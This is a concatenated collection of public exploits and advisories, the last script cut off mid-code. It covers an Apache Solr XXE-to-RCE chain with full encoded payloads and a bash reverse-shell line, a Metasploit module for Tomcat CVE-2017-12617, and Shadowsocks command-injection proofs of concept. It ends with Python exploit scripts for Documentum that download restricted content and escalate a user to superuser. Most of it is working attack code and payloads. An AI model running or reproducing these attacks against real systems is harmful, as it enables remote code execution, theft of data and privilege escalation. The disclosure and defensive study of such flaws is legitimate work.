org.w3c.dom.Document doc = null;
try {
doc = db.parse(pXmlFile);
}
Links:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
CVSS v2 base score: 9.0
(AV:N/AC:L/Au:N/C:C/I:P/A:P)
Second Vulnerability: Remote Code Execution (add-listener: RunExecutableListener)
Solr "RunExecutableListener" class can be used to execute arbitrary commands on specific events, for example after each update query. The problem is that such listener can be enabled with any parameters just by using Config API with add-listener command.
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"ANYCOMMAND",
"dir":"/usr/bin/",
"args":["ANYARGS"]
}
}
Parameters "exe", "args" and "dir" can be crafted throught the HTTP request during modification of the collection's config. This means that anybody who can send a HTTP request to Solr API is able to execute arbitrary shell commands when "postCommit" event is fired. It leads to execution of arbitrary remote code for a remote attacker.
Steps to reproduce:
Step 1. Create a new collection:
http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2
Step 2. Set up a listener on any port by using netcat command "nc -lv 4444"
Step 3. Add a new RunExecutableListener listener for the collection where "exe" attribute contents the name of running command ("/usr/bin/curl") and "args" attribute contents "http://localhost:4444/executed" value to make a request to the attacker's netcat listener:
POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 198
{
"add-listener" : {
"event":"postCommit",
"name":"newlistener",
"class":"solr.RunExecutableListener",
"exe":"curl",
"dir":"/usr/bin/",
"args":["http://localhost:4444/executed"]
}
}
Step 4. Update "newcollection" to trigger execution of RunExecutableListener:
POST /solr/newcollection/update HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json
Content-Length: 19
[{"id":"test"}]
Step 5. You will see a request from the Solr server on your netcat listener. It proves that the curl command is executed on the server.
CVSS v2 base score: 10.0
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
Summary:
By chaining these two vulnerabilities, an external attacker can achieve remote code execution even without direct access to the Solr server. The only requirement is that the attacker should be able to specify a part of query that comes to "q"
search parameter (which is a case for many web applications who use solr).
Lets say that we have an attacker who can only send search queries ("q" param) to a "/select" solr endpoint.
Here is the complete exploit scenario:
Step 1. Create New collection via XXE. This step may be skipped if the attacker already knows any collection name.
http://localhost:8983/solr/gettingstarted/select?q=%20%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%61%64%6d%69%6e%2f%63%6f%6c%6c%65%63%74%69%6f%6e%73%3f%61%63%74%69%6f%6e%3d%43%52%45%41%54%45%26%6e%61%6d%65%3d%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%26%6e%75%6d%53%68%61%72%64%73%3d%32%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20
Without URL encode:
http://localhost:8983/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/admin/collections?action=CREATE&name=newcollection&numShards=2"><a></a>'}
Step 2. Set up a netcat listener "nc -lv 4444"
Step 3. Add a new RunExecutableListener listener via XXE
http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%73%65%6c%65%63%74%3f%71%3d%78%78%78%26%71%74%3d%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%63%6f%6e%66%69%67%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%32%35%37%62%25%32%35%32%32%25%32%35%36%31%25%32%35%36%34%25%32%35%36%34%25%32%35%32%64%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%37%62%25%32%35%32%32%25%32%35%36%35%25%32%35%37%36%25%32%35%36%35%25%32%35%36%65%25%32%35%37%34%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%30%25%32%35%36%66%25%32%35%37%33%25%32%35%37%34%25%32%35%34%33%25%32%35%36%66%25%32%35%36%64%25%32%35%36%64%25%32%35%36%39%25%32%35%37%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%65%25%32%35%36%31%25%32%35%36%64%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%36%65%25%32%35%36%35%25%32%35%37%37%25%32%35%36%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%33%25%32%35%36%63%25%32%35%36%31%25%32%35%37%33%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%66%25%32%35%36%63%25%32%35%37%32%25%32%35%32%65%25%32%35%35%32%25%32%35%37%35%25%32%35%36%65%25%32%35%34%35%25%32%35%37%38%25%32%35%36%35%25%32%35%36%33%25%32%35%37%35%25%32%35%37%34%25%32%35%36%31%25%32%35%36%32%25%32%35%36%63%25%32%35%36%35%25%32%35%34%63%25%32%35%36%39%25%32%35%37%33%25%32%35%37%34%25%32%35%36%35%25%32%35%36%65%25%32%35%36%35%25%32%35%37%32%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%37%38%25%32%35%36%35%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%34%25%32%35%36%39%25%32%35%37%32%25%32%35%32%32%25%32%35%33%61%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%31%25%32%35%37%32%25%32%35%36%37%25%32%35%37%33%25%32%35%32%32%25%32%35%33%61%25%32%35%35%62%25%32%35%32%32%25%32%35%32%64%25%32%35%36%33%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%34%25%32%35%34%30%25%32%35%37%63%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%65%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%36%35%25%32%35%36%33%25%32%35%36%38%25%32%35%36%66%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%32%25%32%35%36%39%25%32%35%36%65%25%32%35%32%66%25%32%35%36%32%25%32%35%36%31%25%32%35%37%33%25%32%35%36%38%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%64%25%32%35%36%39%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%65%25%32%35%32%36%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%32%66%25%32%35%36%34%25%32%35%36%35%25%32%35%37%36%25%32%35%32%66%25%32%35%37%34%25%32%35%36%33%25%32%35%37%30%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%37%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%30%25%32%35%32%65%25%32%35%33%31%25%32%35%32%66%25%32%35%33%31%25%32%35%33%32%25%32%35%33%33%25%32%35%33%34%25%32%35%32%32%25%32%35%32%63%25%32%35%32%32%25%32%35%33%30%25%32%35%33%65%25%32%35%32%36%25%32%35%33%31%25%32%35%32%32%25%32%35%35%64%25%32%35%37%64%25%32%35%37%64%26%73%68%61%72%64%73%3d%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%22%3e%3c%61%3e%3c%2f%61%3e%27%7d
Without URL encode:
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/select?q=xxx&qt=/solr/newcollection/config?stream.body={"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","$@|sh",".","echo","/bin/bash","-i",">&","/dev/tcp/127.0.0.1/1234","0>&1"]}}&shards=localhost:8983/"><a></a>'}
As you may notice, in order to update the config we need to send a POST request to the application. But by using XXE vulnerability we can only send HTTP GET requests. There is a special trick is used here: If Solr receives "/select?q=123&qt=/xxx&shards=localhost:8983/" GET request, it actually converts it to POST and redirects this request to the shard specified in "shards" parameter. Which is also cool, it overwrites url query by the "qt" parameter, so we can convert it from "/select" to "/config".
The result HTTP request that is landed to localhost:8983/ will be POST request with stream.body="our_value". That is exactly what we need in terms of exploitation.
Step 3. Update "newcollection" through XXE to trigger execution of RunExecutableListener
http://localhost:8983/solr/newcollection/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20%22%68%74%74%70%3a%2f%2f%6c%6f%63%61%6c%68%6f%73%74%3a%38%39%38%33%2f%73%6f%6c%72%2f%6e%65%77%63%6f%6c%6c%65%63%74%69%6f%6e%2f%75%70%64%61%74%65%3f%73%74%72%65%61%6d%2e%62%6f%64%79%3d%25%35%62%25%37%62%25%32%32%25%36%39%25%36%34%25%32%32%25%33%61%25%32%32%25%34%31%25%34%31%25%34%31%25%32%32%25%37%64%25%35%64%26%63%6f%6d%6d%69%74%3d%74%72%75%65%26%6f%76%65%72%77%72%69%74%65%3d%74%72%75%65%22%3e%3c%61%3e%3c%2f%61%3e%27%7d%20
Without URL encode:
http://localhost:8983/solr/newcollection/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://localhost:8983/solr/newcollection/update?stream.body=[{"id":"AAA"}]&commit=true&overwrite=true"><a></a>'}
Step 5. When the "/bin/sh c $@|sh . echo /bin/bash -i >& /dev/tcp/127.0.0.1/1234 0>&1" command is executed during update, a new shell session will be opened on the netcat listener. An attacker can execute any shell command on the server where Solr is running.
In all three requests Solr responds with different errors, but all of these error are happened after desired actions are executed.
All these vulnerabilities were tested on the latest version of Apache Solr with the default cloud config (bin/solr start -e cloud -noprompt)
These vulnerabilities were discovered by:
Michael Stepankin (JPMorgan Chase)
Olga Barinova (Gotham Digital Science)
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Tomcat RCE via JSP Upload Bypass',
'Description' => %q{
This module uploads a jsp payload and executes it.
},
'Author' => 'peewpw',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-12617' ],
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]
],
'Privileged' => false,
'Platform' => %w{ linux win }, # others?
'Targets' =>
[
[ 'Automatic',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Windows',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
}
],
[ 'Java Linux',
{
'Arch' => ARCH_JAVA,
'Platform' => 'linux'
}
]
],
'DisclosureDate' => 'Oct 03 2017',
'DefaultTarget' => 0))
register_options([
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),
Opt::RPORT(8080)
])
end
def check
testurl = Rex::Text::rand_text_alpha(10)
testcontent = Rex::Text::rand_text_alpha(10)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => "<% out.println(\"#{testcontent}\");%>"
})
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.body.include?(testcontent)
send_request_cgi(
opts = {
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'DELETE'
},
timeout = 1
)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
print_status("Uploading payload...")
testurl = Rex::Text::rand_text_alpha(10)
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),
'method' => 'PUT',
'data' => payload.encoded
})
if res && res.code == 201
res1 = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),
'method' => 'GET'
})
if res1 && res1.code == 200
print_status("Payload executed!")
else
fail_with(Failure::PayloadFailed, "Failed to execute the payload")
end
else
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")
end
end
end
X41 D-Sec GmbH Security Advisory: X41-2017-008
Multiple Vulnerabilities in Shadowsocks
=======================================
Overview
--------
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks/tree/master
Vector: Network
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-008-shadowsocks/
Summary and Impact
------------------
Several issues have been identified, which allow attackers to manipulate
log files, execute commands and to brute force Shadowsocks with enabled
autoban.py brute force detection. Brute force detection from autoban.py
does not work with suggested tail command. The key of captured
Shadowsocks traffic can be brute forced.
Product Description
-------------------
Shadowsocks is a fast tunnel proxy that helps you bypass firewalls.
Log file manipulation
=====================
Severity Rating: Medium
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Vector: Network
CVE: not yet issued
CWE: 117
CVSS Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Summary and Impact
------------------
Log file manipulation is possible with a manipulated hostname, sent to
the server from a client, even if Shadowsocks is as quiet as possible
with "-qq".
Therefore a string like "\nI could be any log entry\n" could be sent as
hostname to Shadowsocks. The server would log an additional line with
"I could be any log entry".
Workarounds
-----------
There is no workaround available, do not trust the logfiles until a
patch is released.
Command Execution
=================
Severity Rating: Critical
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Vector: Network
CVE: not yet issued
CWE: 78
CVSS Score: 9.0
CVSS Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
Summary and Impact
------------------
When the brute force detection with autoban.py is enabled, remote
attackers are able to execute arbitrary commands.
Command execution is possible because of because of line 53 "os.system(cmd)"
in autoban.py, which executes "cmd = 'iptables -A INPUT -s %s -j DROP' %
ip". The "ip" parameter gets parsed from the log file, whose contents
can be controlled by a third party sending unauthenticated packets.
Proof of Concept
----------------
When, a string like "can not parse header when ||ls&:\n" is sent as host
name to Shadowsocks, it would end up in the logfile and lead to the
execution of "ls".
Autoban.py does not execute commands with spaces due to internal
sanitization. A requested hostname like:
" can not parse header when ||ls&:\ntouch /etc/evil.txt\nexit\ncan not
parse header when ||/bin/bash</var/log/shadowsocks.log&:\n" could be
used to work around this limitation. It writes the command "touch
/etc/evil.txt" into the logfile and executes it with
"/bin/bash</var/log/shadowsocks.log".
The exit; command is an important factor, without it an unbounded
recursion would occur leading to a DoS.
Workarounds
-----------
No workaround available, do not use autoban.py.
Lack of Bruteforce detection through autoban.py
===============================================
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Summary and Impact
------------------
The brute force detection autoban.py does not work at all with the suggested
tail command, suggested at
https://github.com/shadowsocks/shadowsocks/wiki/Ban-Brute-Force-Crackers.
The command "python autoban.py < /var/log/shadowsocks.log" does work,
but the suggested "nohup tail -F /var/log/shadowsocks.log | python
autoban.py > log 2>log &" does not block IP's.
The "for line in sys.stdin:" from autoban.py parses the input until
there is an end of file (EOF). As "tail -F" will never pipe an EOF into
the pyhon script, the sys.stdin will block the script forever. So the
"tail -F /var/log/shodowsocks | autoban.py" will never block anything
except itself.
Workarounds
-----------
Use python "autoban.py < /var/log/shadowsocks.log" in a cronjob. Do not
use autoban.py until the command execution issue gets fixed.
Bruteforcable Shadowsocks traffic because of MD5
================================================
Confirmed Affected Versions: Latest commit 2ab8c6b on Sep 6
Confirmed Patched Versions: N/A
Summary and Impact
------------------
Shadowsocks uses no brute force prevention for it's key derivation function.
The key for Shadowsocks traffic encryption is static and derived from
the password, using MD5. The password derivation is in encrypt.py in
line 56 to 63: "
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
"
MD5 should not be used to generate keys, since it is a hash function.
A proper key derivation function increases the costs for this operation,
which is a small burden for a user, but a big one for an attacker,
which performs this operation many more times. As passwords usually have
low-entropy, a good password derivation function has to be slow.
Workarounds
-----------
Use a secure password generated by a cryptographically secure random
generator. Wait for a patch that uses a password based key derivation
function like "Argon2" instead of a hash.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-09-28 Issues found
2017-10-05 Vendor contacted
2017-10-09 Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11 Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12 Vendor contacted, replied to create a public issue on GitHub
2017-10-13 Created public issues on GitHub
2017-10-13 Advisory release
X41 D-Sec GmbH Security Advisory: X41-2017-010
Command Execution in Shadowsocks-libev
======================================
Overview
--------
Severity Rating: High
Confirmed Affected Versions: 3.1.0
Confirmed Patched Versions: N/A
Vendor: Shadowsocks
Vendor URL: https://github.com/shadowsocks/shadowsocks-libev
Vector: Local
Credit: X41 D-Sec GmbH, Niklas Abel
Status: Public
CVE: not yet assigned
Advisory-URL:
https://www.x41-dsec.de/lab/advisories/x41-2017-010-shadowsocks-libev/
Summary and Impact
------------------
Shadowsocks-libev offers local command execution per configuration file
or/and additionally, code execution per UDP request on 127.0.0.1.
The configuration file on the file system or the JSON configuration
received via UDP request is parsed and the arguments are passed to the
"add_server" function.
The function calls "construct_command_line(manager, server);" which
returns a string from the parsed configuration.
The string gets executed at line 486 "if (system(cmd) == -1) {", so if a
configuration parameter contains "||evil command&&" within the "method"
parameter, the evil command will get executed.
The ss-manager uses UDP port 8830 to get control commands on 127.0.0.1.
By default no authentication is required, although a password can be set
with the '-k' parameter.
Product Description
-------------------
Shadowsocks-libev is a lightweight secured SOCKS5 proxy for embedded
devices and low-end boxes. The ss-manager is meant to control
Shadowsocks servers for multiple users, it spawns new servers if needed.
It is a port of Shadowsocks created by @clowwindy, and maintained by
@madeye and @linusyang.
Proof of Concept
----------------
As passed configuration requests are getting executed, the following command
will create file "evil" in /tmp/ on the server:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||touch
/tmp/evil||"}
The code is executed through shadowsocks-libev/src/manager.c.
If the configuration file on the file system is manipulated, the code
would get executed as soon as a Shadowsocks instance is started from
ss-manage, as long as the malicious part of the configuration has not
been overwritten.
Workarounds
-----------
There is no workaround available, do not use ss-manage until a patch is
released.
About X41 D-Sec GmbH
--------------------
X41 D-Sec is a provider of application security services. We focus on
application code reviews, design review and security testing. X41 D-Sec
GmbH was founded in 2015 by Markus Vervier. We support customers in
various industries such as finance, software development and public
institutions.
Timeline
--------
2017-09-28 Issues found
2017-10-05 Vendor contacted
2017-10-09 Vendor contacted, replied to use GitHub for a full disclosure
2017-10-11 Vendor contacted, asked if the vendor is sure to want a full
disclosure
2017-10-12 Vendor contacted, replied to create a public issue on GitHub
2017-10-13 Created public issue on GitHub
2017-10-13 Advisory release
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to download arbitrary
# content files regardless attacker's repository permissions:
#
# when authenticated user upload content to repository he performs following steps:
# - calls START_PUSH RPC-command
# - uploads file to content server
# - calls END_PUSH_V2 RPC-command, here Content Server returns DATA_TICKET,
# purposed to identify the location of the uploaded file on Content Server filesystem
# - further user creates dmr_content object in repository, which has value of data_ticket equal
# to the value of DATA_TICKET returned at the end of END_PUSH_V2 call
#
# As the result of such design any authenticated user may create his own dmr_content object,
# pointing to already existing content of Content Server filesystem
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15014.py
# usage:
# CVE-2017-15014.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15014.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Trying to find any object with content...
# Querying "inaccessible" dmr_content objects...
# Downloaded 3959/3959 bytes of object 06024be980000133
# Downloaded 11280/11280 bytes of object 06024be980000135
# Downloaded 10004/10004 bytes of object 06024be980000138
# Downloaded 23692/23692 bytes of object 06024be98000017a
# Downloaded 19541/19541 bytes of object 06024be980000180
# Downloaded 1096/1096 bytes of object 06024be980000172
# Downloaded 11776/11776 bytes of object 06024be98000011f
# Downloaded 50176/50176 bytes of object 06024be980000125
# Downloaded 16384/16384 bytes of object 06024be98000012f
# Downloaded 985/985 bytes of object 06024be9800001f5
# Downloaded 191/191 bytes of object 06024be9800001fe
# Downloaded 213/213 bytes of object 06024be980000200
#
import socket
import sys
from dctmpy import NULL_ID
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n%s host port user password" % sys.argv[0]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any object with content..."
object_id = session.query(
"SELECT FOR READ r_object_id "
"FROM dm_sysobject WHERE r_content_size>0") \
.next_record()['r_object_id']
session.apply(None, NULL_ID, "BEGIN_TRANS")
print "Querying \"inaccessible\" dmr_content objects..."
for e in session.query(
"SELECT * FROM dmr_content "
"WHERE ANY parent_id IS NOT NULLID "
"AND ANY parent_id NOT IN "
"(SELECT r_object_id FROM dm_sysobject)"
):
handle = 0
try:
content_id = session.next_id(0x06)
obj = TypedObject(session=session)
obj.set_string("OBJECT_TYPE", "dmr_content")
obj.set_bool("IS_NEW_OBJECT", True)
obj.set_int("i_vstamp", 0)
obj.set_id("storage_id", e["storage_id"])
obj.set_id("format", e["format"])
obj.set_int("data_ticket", e["data_ticket"])
obj.set_id("parent_id", object_id)
if not session.save_cont_attrs(content_id, obj):
print "Failed"
exit(1)
handle = session.make_puller(
NULL_ID, obj["storage_id"], content_id,
obj["format"], obj["data_ticket"]
)
if handle == 0:
raise RuntimeError("Unable make puller")
size = 0
for chunk in session.download(handle):
size += len(chunk)
print "Downloaded %d/%d bytes of object %s" % \
(size, e['full_content_size'], e['r_object_id'])
finally:
if handle > 0:
try:
session.kill_puller(handle)
except:
pass
def create_session(host, port, user, pwd):
print "Trying to connect to %s:%s as %s ..." % (host, port, user)
session = None
try:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd)
except socket.error, e:
if e.errno == 54:
session = DocbaseClient(
host=host, port=int(port),
username=user, password=pwd,
secure=True, ciphers=CIPHERS)
else:
raise e
docbase = session.docbaseconfig['object_name']
version = session.serverconfig['r_server_version']
print "Connected to %s:%s, docbase: %s, version: %s" % \
(host, port, docbase, version)
return (session, docbase)
def is_super_user(session):
user = session.get_by_qualification("dm_user WHERE user_name=USER")
if user['user_privileges'] == 16:
return True
group = session.get_by_qualification(
"dm_group where group_name='dm_superusers' "
"AND any i_all_users_names=USER")
if group is not None:
return True
return False
if __name__ == '__main__':
main()
#!/usr/bin/env python
# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server stores information about uploaded files in dmr_content objects,
# which are queryable and "editable" (before release 7.2P02 any authenticated user
# was able to edit dmr_content objects, now any authenticated user may delete
# dmr_content object and them create new one with the old identifier) by
# authenticated users, this allows any authenticated user to "modify" security-sensitive
# dmr_content objects (for example, dmr_content related to dm_method objects)
# and gain superuser privileges
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15013.py
# usage:
# CVE-2017-15013.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Trying to find any dm_method object with content...
# Trying to poison docbase method dm_Migration
# Method verb: dmbasic -eMigration_Agent
# Method function: Migration_Agent
# Trying to inject new content:
# Const glabel As String = "Label"
# Const ginfo As String = "Info"
# Const gerror As String = "Error"
#
# Private Sub PrintMessage(mssg As String, mssgtype As String)
# If(mssgtype=glabel) Then
# Print "<BR><B><FONT size=3>"
# Print mssg
# print "</FONT></B>"
# ElseIf(mssgtype=ginfo) Then
# Print "<BR><FONT color=blue>"
# Print mssg
# print "</FONT>"
# ElseIf(mssgtype=gerror) Then
# Print "<BR><FONT color=red size=3>"
# Print mssg
# print "</FONT>"
# Else
# Print "<BR>" & mssg
# End If
# End Sub
# Private Sub SetupSuperUser(TargetUser As String)
# objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'")
# If objectid$ <> "" then
# Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16)
# Status = dmAPIExec("save,c," & objectid$)
# End If
# End Sub
#
# Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)
# Dim SessionID As String
#
# SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",")
# If SessionID ="" Then
# Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName
# DmExit(-1)
# Else
# Print "Connect to docbase " & DocbaseName &" as user " & UserName
# End If
#
# Call SetupSuperUser(TargetUser)
#
# End Sub
#
# Removing method's content
# method's content has been successfully removed
# Creating malicious dmr_content object
# Malicious dmr_content object has been successfully created
# Becoming superuser...
# P0wned!
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377 Linux64.Oracle
# Current user is a superuser, nothing to do
#
import socket
import sys
from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT
from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject
CIPHERS = "ALL:aNULL:!eNULL"
def usage():
print "usage:\n%s host port user password" % sys.argv[0]
def main():
if len(sys.argv) != 5:
usage()
exit(1)
(session, docbase) = create_session(*sys.argv[1:5])
if is_super_user(session):
print "Current user is a superuser, nothing to do"
exit(1)
print "Trying to find any dm_method object with content..."
method_object = session.get_by_qualification(
"dm_method WHERE use_method_content=TRUE "
"and method_verb like 'dmbasic -e%'")
method_content = session.get_by_qualification(
"dmr_content where any parent_id='%s'"
% method_object['r_object_id'])
print "Trying to poison docbase method %s" % method_object['object_name']
method_verb = method_object['method_verb']
print "Method verb: %s" % method_verb
method_function = method_verb[len("dmbasic -e"):]
print "Method function: %s" % method_function
new_content = \
"Const glabel As String = \"Label\"\n" \
"Const ginfo As String = \"Info\"\n" \
"Const gerror As String = \"Error\"\n" \
"\n" \
"Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \
" If(mssgtype=glabel) Then\n" \
" Print \"<BR><B><FONT size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT></B>\"\n" \
" ElseIf(mssgtype=ginfo) Then\n" \
" Print \"<BR><FONT color=blue>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" ElseIf(mssgtype=gerror) Then\n" \
" Print \"<BR><FONT color=red size=3>\"\n" \
" Print mssg\n" \
" print \"</FONT>\"\n" \
" Else\n" \
" Print \"<BR>\" & mssg\n" \
" End If\n" \
"End Sub\n" \
"Private Sub SetupSuperUser(TargetUser As String)\n" \
" objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \
" If objectid$ <> \"\" then\n" \
" Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \
" Status = dmAPIExec(\"save,c,\" & objectid$)\n" \
" End If\n" \
"End Sub\n" \
"\n" \
"Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \
" Dim SessionID As String\n" \
"\n" \
" SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \",\")\n" \
" If SessionID =\"\" Then\n" \
" Print \"Fail to connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" DmExit(-1)\n" \
" Else\n" \
" Print \"Connect to docbase \" & DocbaseName &\" as user \" & UserName\n" \
" End If\n" \
"\n" \
" Call SetupSuperUser(TargetUser)\n" \
"\n" \
"End Sub\n" % method_function
print "Trying to inject new content:\n%s" % new_content
